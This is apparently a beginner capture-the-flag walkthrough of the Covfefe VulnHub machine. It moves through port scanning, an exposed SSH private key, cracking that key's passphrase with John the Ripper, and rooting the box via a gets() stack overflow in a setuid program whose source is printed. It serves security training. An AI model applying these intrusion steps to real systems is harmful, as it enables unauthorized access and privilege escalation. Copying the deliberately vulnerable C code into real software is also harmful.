Covfefe is a Debian 9 based Boot to root VM, originally created as a CTF for SecTalks_BNE it is intended for beginners and requires enumeration aslo rated an OSCP like machine it really fun grab a copy here Download Covfefe Here
We always start with an nmap scan…..
Nmap -sC -sV -oA nmap <Target-IP>
┌──(muzec㉿Muzec-Security)-[~/Documents/Vulnhubs/covfefe]
└─$ nmap -sC -sV -oA nmap 172.16.139.180
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-23 14:40 EDT
Nmap scan report for 172.16.139.180
Host is up (0.00022s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:6a:10:e0:fb:63:22:be:09:96:0b:71:6a:60:ad:1a (RSA)
| 256 ac:2c:11:1e:e2:d6:26:ea:58:c4:3e:2d:3e:1e:dd:96 (ECDSA)
|_ 256 13:b3:db:c5:af:62:c2:b1:60:7d:2f:48:ef:c3:13:fc (ED25519)
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Welcome to nginx!
31337/tcp open http Werkzeug httpd 0.11.15 (Python 3.5.3)
| http-robots.txt: 3 disallowed entries
|_/.bashrc /.profile /taxes
|_http-title: 404 Not Found
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.71 seconds
Going through port 80 first HTTP but we found nothing i try bursting the directory also maybe it hidden .
Nothing time to check port 31337 we can see we have some pages from the nmap scan result we got from the robots.txt .
Checking taxes and we have our first flag.
Time to burst some directory again with dirbuster.
SSH folder wow now that is interesting http://172.16.139.180:31337/.ssh and we have the private key and public key also authorized_keys .
Downloading all files on the SSH folder.
We now have username from the public key.
Now since we have a private key now let try to crack it using john the ripper.
/usr/share/john/ssh2john.py id_rsa > hash and we have the hash.
john --wordlist=/usr/share/wordlists/rockyou.txt hash and we should have the password in no time.
Before using the private key id_rsa we need to give it permission first to avoid error chmod 600 id_rsa .
ssh -i id_rsa simon@172.16.139.180 and we are in.
Privilege Escalation
Let use find to check for some SUID permission find / -perm -u=s -type f 2>/dev/null that can lead to root probably maybe or maybe not.
Boom /usr/local/bin/read_message look interesting let try running it .
Hmmm guess we need a name to view the message i try using strings to check the SUID file but strings is not installed on the box let enumerate more now and boom seems we have access to the root folder ahhhh cool without being root user.
We have a flag and a C file but we have no access to the flag since we are not root yet but we can view the read_message.c file.
Now we have username to access the SUID file now to read the message.
And going through the souce code of the C file seems we have our second flag now let get root.
simon@covfefe:/root$ cat read_message.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
printf("What is your name?\n");
gets(buf);
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}
Reading through the source code we find that, when we enter a string it reads the first 5 characters of the string as Simon, if it matches then it runs /usr/local/sbin/message.
But the input allocation for this is 20 bytes. So, we have to overflow the stack entering more than 20 bytes of data. We use the first 5 char to be Simon followed by 15 A and then /bin/sh at the 21st byte.
And we are root let get the last flag.
Box rooted and we are done.
Greeting From Muzec